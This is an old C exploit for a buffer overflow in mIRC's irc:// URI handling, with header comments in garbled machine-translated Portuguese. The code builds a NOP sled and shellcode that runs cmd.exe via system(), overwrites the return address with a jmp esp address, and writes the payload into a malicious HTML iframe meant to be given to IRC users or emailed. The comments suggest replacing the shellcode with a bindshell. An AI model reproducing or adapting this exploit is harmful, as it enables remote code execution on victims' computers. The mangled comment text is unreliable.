** gEEk-fuck-khaled.c
-- remote mirc < 6.11 exploit by blasty
**
** TESTADO EM: XP DO Windows (Nenhum SP, Ducth) Construção:
2600.xpclient.010817-1148
**
** Uns dias poucos atrás, Eu vi um mIRC consultivo no packetstorm
[1] e foi surpreendido
** ninguém tinha escrito uma façanha ainda. Assim Eu decidi
começar um de escrever.
** Desde isto foi meu primeiro coding do tempo uma façanha ao
windows, isto pegou algum
** pesquisa antes Eu obtive o pendurado disto. (Ollydbg é muito
mais confundido então o GDB btw :P)
**
** Esta façanhas (ab)usa o bug no irc:// URI tratando. Isto contem
um buffer-
** inundação, e quando mais então 998 bytes são
vontade do EIP dada é overwritten.
**
** A Princípio Eu estava pensando de uma solução
simples para obter este exploitable. Desde
** dando um URI com > 998 chars para alguém no IRC está
simplesmente NÃO feito :)
** Então Eu recordo o iframe-irc:// falha encontrada por uuuppzz
[2]
**
** Esta façanha escreverá um arquivo de HTML DO malicious
contendo um iframe executando a
** irc:// endereço. Assim você pode dar este para qualquer
um no IRC por exemplo ;)
** O shellcode incluido unicamente executa cmd.exe, porque Eu não
desejo ser este
** um scriptkiddy util. Mas, repondo o shellcode com seu possui está
também possível.
** Um 400 shellcode de bytes (bindshell etc.) facilmente ajusta o buffer,
mas isto pode requer
** algum beliscado.
** Depois exiting o cmd.exe mIRC colidirá, assim shellcode seu
não 100% limpa, mas que carez :)
**
** Oh yeah, Eu quase esqueci.. esta façanha também trabalha
mesmo que mIRC não é começado.
** mIRC começará automaticamente quando um irc:// é
executado, assim você pode também enviar alguém
** e email de HTML contendo o código de HTML DE mau. (unicamente
por clientes pobres Perspectiva igual Expressa :P)
**
** De Qualquer Modo, diverte-se com isto, e dont próprio newb
completo #chans :P
**
** Greetz to:
** inz, demz, gEEkz team
**
** [1] http://www.packetstormsecurity.nl/0310-advisories/mirc61.txt
** [2] http://www.uuuppz.com/research/adv-001-mirc.htm
**
** -- blasty ([email protected] / www.geekz.nl)
**/
#include <stdio.h>/* Stupid cmd.exe exec shellcode. hey! I r !evil
;) */
unsigned char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8"
"\x44\x80\xbf\x77" // 0x78bf8044 <- adress of system()
"\xff\xd0"; // call system()
char jmpback[] =
"\xE9\xCF\xFB\xFF\xFF"; // my leet negative JMP shellcode
:)
char buffer[1100], fstring[1300]; // heh, need to clean this up
int main(int argc, char *argv[]) {
FILE *evil;
fprintf(stdout, "---------------------------------------------\n"
"mIRC < 6.11 remote exploit by [email protected]\n"
"---------------------------------------------\n\n");
// NOPslides are cool
memset(buffer, 0x90, sizeof(buffer) - 1);
// place shellcode in buffer
memcpy(buffer + 20, shellcode, strlen(shellcode));
// took this one from ntdll.dll (jmp esp)
*(long *)&buffer[994] = 0x77F4801C;
// place jmpback shellcode in buffer
memcpy(buffer + 20 + strlen(shellcode) + 1010, jmpback, strlen(jmpback));
printf("[+] Evil buffer constructed\n"); // open HTML file
for writing
if((evil = fopen("index.html", "a+")) != NULL) {
// construct evil string :)
sprintf(fstring, "<iframe src=\"irc://%s\"></iframe>",
buffer);
// write string to file
fputs(fstring, evil);
// close file
fclose(evil);
printf("[+] Evil HTML file written!\n");
return(0);
} else {
// uh oh.. :/
fprintf(stderr, "ERROR: Could not open index.html for writing!\n");
exit(1);
}
}
Cracks's S.A